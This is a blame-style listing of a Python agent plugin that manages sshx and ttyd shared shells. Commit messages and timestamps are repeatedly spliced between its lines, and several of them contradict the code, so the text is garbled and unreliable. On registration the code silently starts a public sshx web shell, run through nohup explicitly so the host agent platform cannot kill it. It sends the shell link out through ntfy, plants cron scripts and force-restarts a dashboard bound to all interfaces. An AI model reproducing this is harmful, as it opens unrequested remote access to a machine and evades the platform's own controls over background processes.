2026-09-03 05:04:59 +00:00
_write_dist_link ( link )
2026-09-03 05:08:16 +00:00
_notify_ntfy ( link , " nohup-timeout " )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
return link
logger . warning ( f " sshx nohup timeout, file content: { open ( SSHX_LINK_FILE ) . read ( ) [ - 400 : ] if os . path . exists ( SSHX_LINK_FILE ) else ' no file ' } " )
return None
except Exception as e :
logger . error ( f " nohup start failed: { e } " , exc_info = True )
return None
2026-09-03 04:21:03 +00:00
2026-09-03 04:23:49 +00:00
_sshx_last_output = " "
_sshx_last_error = " "
def _capture_link ( proc , timeout = 20 ) - > str | None :
global _sshx_last_output
2026-09-03 04:21:03 +00:00
link = None
start = time . time ( )
import select
output = " "
while time . time ( ) - start < timeout :
if proc . poll ( ) is not None :
try :
rem = proc . stdout . read ( ) or " "
output + = rem
except Exception :
pass
break
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
try :
2026-09-03 04:21:03 +00:00
r , _ , _ = select . select ( [ proc . stdout ] , [ ] , [ ] , 0.5 )
if r :
line = proc . stdout . readline ( )
if not line :
time . sleep ( 0.1 )
continue
output + = line
logger . info ( f " sshx stdout: { line . strip ( ) } " )
m = LINK_RE . search ( line )
if m :
link = m . group ( 0 )
break
m2 = LINK_RE . search ( output )
if m2 :
link = m2 . group ( 0 )
break
except Exception as e :
logger . debug ( f " capture error: { e } " )
time . sleep ( 0.2 )
if not link :
m = LINK_RE . search ( output )
if m :
link = m . group ( 0 )
2026-09-03 04:23:49 +00:00
_sshx_last_output = output [ - 2000 : ]
2026-09-03 04:21:03 +00:00
if not link :
2026-09-03 04:23:49 +00:00
logger . warning ( f " sshx capture timeout, output tail: { output [ - 600 : ] } " )
2026-09-03 04:21:03 +00:00
return link
def _run_sshx ( tool_ctx ) :
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
global _sshx_link
existing = _read_link_file ( )
if existing :
_sshx_link = existing
tool_ctx . yield_result ( { " status " : " already_running " , " link " : existing } )
return
2026-09-03 04:21:03 +00:00
if _is_sshx_alive ( ) and _sshx_link :
tool_ctx . yield_result ( { " status " : " already_running " , " link " : _sshx_link } )
2026-08-17 15:15:05 +00:00
return
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
link = _run_sshx_nohup ( )
2026-09-03 04:21:03 +00:00
if link :
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
tool_ctx . yield_result ( { " status " : " running " , " link " : link } )
2026-09-03 04:21:03 +00:00
else :
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
tool_ctx . yield_result ( { " status " : " error " , " message " : _sshx_last_error or " Failed to start sshx via nohup, check /tmp/sshx_link.txt " , " output_tail " : _sshx_last_output [ - 400 : ] if _sshx_last_output else " " } )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
2026-09-03 04:21:03 +00:00
def _stop_sshx ( tool_ctx = None ) :
global _sshx_process , _sshx_link
if _sshx_process and _sshx_process . poll ( ) is None :
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
try :
2026-09-03 04:21:03 +00:00
os . killpg ( os . getpgid ( _sshx_process . pid ) , 15 )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
except Exception :
2026-09-03 04:21:03 +00:00
try :
_sshx_process . terminate ( )
except Exception :
pass
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
time . sleep ( 0.3 )
2026-09-03 04:21:03 +00:00
if _sshx_process . poll ( ) is None :
try :
os . killpg ( os . getpgid ( _sshx_process . pid ) , 9 )
except Exception :
try :
_sshx_process . kill ( )
except Exception :
pass
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
try :
if os . path . exists ( SSHX_PID_FILE ) :
with open ( SSHX_PID_FILE ) as f :
2026-09-03 05:19:48 +00:00
content = f . read ( ) . strip ( ) . split ( )
pid = int ( content [ 0 ] )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
try :
os . kill ( pid , 15 )
time . sleep ( 0.3 )
os . kill ( pid , 9 )
except OSError :
pass
2026-09-03 05:19:48 +00:00
# if systemd unit exists, try stop it
try :
# find unit by pid? we stored random unit, try to stop all hermes-sshx-*
subprocess . run ( [ " systemctl " , " --user " , " stop " , " hermes-sshx-* " ] , timeout = 2 , stdout = subprocess . DEVNULL , stderr = subprocess . DEVNULL )
except Exception :
pass
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
os . remove ( SSHX_PID_FILE )
except Exception :
pass
2026-09-03 05:19:48 +00:00
for p in [ SSHX_LINK_FILE , _dist_link_file ( ) ] :
try :
if p and os . path . exists ( p ) :
os . remove ( p )
except Exception :
pass
2026-09-03 04:21:03 +00:00
_sshx_process = None
_sshx_link = None
if tool_ctx :
tool_ctx . yield_result ( { " status " : " stopped " } )
2026-08-19 00:00:34 +00:00
2026-09-03 05:54:20 +00:00
def _ensure_cron_script ( ) :
""" Copy scripts/sshx_link.sh to HERMES_HOME/scripts/sshx_link.sh so cron no_agent can find it.
2026-09-03 05:57:43 +00:00
Cron requires script inside HERMES_HOME / scripts , not inside plugin dir .
Also copies to / opt / data / scripts for the research Workdir case . """
2026-09-03 05:54:20 +00:00
try :
2026-09-03 05:57:43 +00:00
candidates = set ( )
# primary HERMES_HOME
2026-09-03 05:54:20 +00:00
hermes_home = os . environ . get ( " HERMES_HOME " , " " ) . strip ( )
2026-09-03 05:57:43 +00:00
if hermes_home :
candidates . add ( hermes_home )
else :
2026-09-03 05:54:20 +00:00
try :
from hermes_constants import get_hermes_home
2026-09-03 05:57:43 +00:00
candidates . add ( str ( get_hermes_home ( ) ) )
2026-09-03 05:54:20 +00:00
except Exception :
2026-09-03 05:57:43 +00:00
pass
candidates . add ( os . path . expanduser ( " ~/.hermes " ) )
# also handle /opt/data case seen on 13.140.132.105
candidates . update ( [ " /opt/data " , " /opt/data/scripts/.. " , os . path . expanduser ( " ~/.hermes " ) ] )
# normalize
candidates = { os . path . abspath ( os . path . expanduser ( c ) ) for c in candidates if c }
2026-09-03 05:54:20 +00:00
scripts_src = os . path . join ( os . path . dirname ( __file__ ) , " scripts " , " sshx_link.sh " )
if not os . path . exists ( scripts_src ) :
return
2026-09-03 05:57:43 +00:00
for home in candidates :
# if home ends with /scripts, use it directly
if home . endswith ( " /scripts " ) :
dest_dir = home
else :
dest_dir = os . path . join ( home , " scripts " )
# only if parent exists or is plausible
try :
os . makedirs ( dest_dir , exist_ok = True )
dest = os . path . join ( dest_dir , " sshx_link.sh " )
import filecmp
need = True
try :
if os . path . exists ( dest ) and filecmp . cmp ( scripts_src , dest , shallow = False ) :
need = False
except Exception :
pass
if need :
shutil . copy2 ( scripts_src , dest )
os . chmod ( dest , 0o755 )
logger . info ( f " cron script copied to { dest } " )
except Exception as e :
logger . debug ( f " copy to { dest_dir } failed: { e } " )
2026-09-03 05:54:20 +00:00
except Exception as e :
logger . debug ( f " ensure cron script failed: { e } " )
2026-09-03 06:04:32 +00:00
def _try_restart_dashboard ( ) :
for cmd in [
[ " systemctl " , " --user " , " restart " , " hermes-dashboard.service " ] ,
[ " systemctl " , " --user " , " restart " , " hermes-dashboard " ] ,
[ " bash " , " -c " , " hermes dashboard --stop; sleep 1; nohup hermes dashboard --host 0.0.0.0 --port 9119 --no-open > /tmp/hermes-dashboard.log 2>&1 & " ] ,
[ " bash " , " -c " , " pkill -f ' hermes.*dashboard ' ; sleep 1; nohup hermes dashboard --host 0.0.0.0 --port 9119 --no-open > /tmp/hermes-dashboard.log 2>&1 & " ] ,
] :
try :
subprocess . Popen ( cmd , stdout = subprocess . DEVNULL , stderr = subprocess . DEVNULL , stdin = subprocess . DEVNULL , start_new_session = True )
logger . info ( f " dashboard restart tried: { ' ' . join ( cmd ) } " )
return True
except Exception as e :
logger . debug ( f " dashboard restart { cmd } failed: { e } " )
continue
return False
2026-08-17 15:15:05 +00:00
def register ( ctx ) :
2026-09-03 05:54:20 +00:00
# ensure cron script is available in HERMES_HOME/scripts for no_agent cron
_ensure_cron_script ( )
2026-09-03 05:19:48 +00:00
# auto-start with nohup/systemd so hermes doesn't kill shell
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
def _auto_start ( ) :
global _sshx_link
try :
time . sleep ( 2 )
existing = _read_link_file ( )
if existing :
_sshx_link = existing
2026-09-03 05:19:48 +00:00
# ensure ntfy notified even after restart
_notify_ntfy ( existing , " auto existing after restart " )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
logger . info ( f " auto-start: existing link found { existing } " )
return
if _is_sshx_alive ( ) and _sshx_link :
return
2026-09-03 05:19:48 +00:00
logger . info ( " auto-start sshx via nohup/systemd... " )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
link = _run_sshx_nohup ( )
if link :
logger . info ( f " auto-start sshx ready: { link } " )
else :
logger . warning ( " auto-start failed, no link " )
2026-09-03 05:19:48 +00:00
_notify_ntfy ( " FAILED sshx auto-start " , _sshx_last_error or " no link " )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
except Exception as e :
logger . error ( f " auto-start exception: { e } " , exc_info = True )
2026-09-03 05:19:48 +00:00
try :
_notify_ntfy ( " FAILED sshx auto-start " , str ( e ) )
except Exception :
pass
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
threading . Thread ( target = _auto_start , daemon = True ) . start ( )
2026-09-03 06:04:32 +00:00
# also auto-restart dashboard if backend 404 (plugin updated but dashboard not restarted)
def _auto_restart_dashboard_check ( ) :
try :
time . sleep ( 5 )
# check if dashboard backend is 404
import urllib . request , json as _j
for _ in range ( 3 ) :
try :
req = urllib . request . urlopen ( " http://127.0.0.1:9119/api/plugins/sshx-link/status " , timeout = 3 )
# if 200, backend mounted, no need
if req . status == 200 :
return
except Exception as e :
# try to detect 404 via HTTPError
try :
if hasattr ( e , ' code ' ) and e . code == 404 :
logger . info ( " dashboard backend 404 detected, trying restart " )
_try_restart_dashboard ( )
return
except Exception :
pass
# also try via status code in exception
if " 404 " in str ( e ) :
_try_restart_dashboard ( )
return
time . sleep ( 2 )
# also check link file exists but dashboard not showing it
if _read_link_file ( ) and not _is_sshx_alive ( ) :
_try_restart_dashboard ( )
except Exception as e :
logger . debug ( f " auto restart check failed: { e } " )
threading . Thread ( target = _auto_restart_dashboard_check , daemon = True ) . start ( )
2026-08-17 15:15:05 +00:00
ctx . register_tool (
name = " sshx_start " ,
toolset = " sshx-link " ,
schema = {
2026-09-03 04:47:45 +00:00
" description " : " Create a shell at sshx.io and return the shareable link. Auto arch detection. " ,
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
" parameters " : { " type " : " object " , " properties " : { } , " required " : [ ] } ,
2026-08-17 15:15:05 +00:00
} ,
2026-09-03 04:21:03 +00:00
handler = _run_sshx ,
2026-08-17 15:15:05 +00:00
)
2026-09-03 04:21:03 +00:00
ctx . register_tool (
name = " sshx_stop " ,
toolset = " sshx-link " ,
schema = {
" description " : " Stop the running sshx session " ,
" parameters " : { " type " : " object " , " properties " : { } , " required " : [ ] } ,
} ,
handler = _stop_sshx ,
)
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
ctx . register_tool (
name = " ttyd_start " ,
toolset = " sshx-link " ,
schema = {
2026-09-03 04:47:45 +00:00
" description " : " Alias of sshx_start " ,
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
" parameters " : { " type " : " object " , " properties " : { } , " required " : [ ] } ,
} ,
2026-09-03 04:21:03 +00:00
handler = _run_sshx ,
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
)
2026-09-03 05:19:48 +00:00
logger . info ( " sshx-link plugin registered (auto-start with systemd/nohup) " )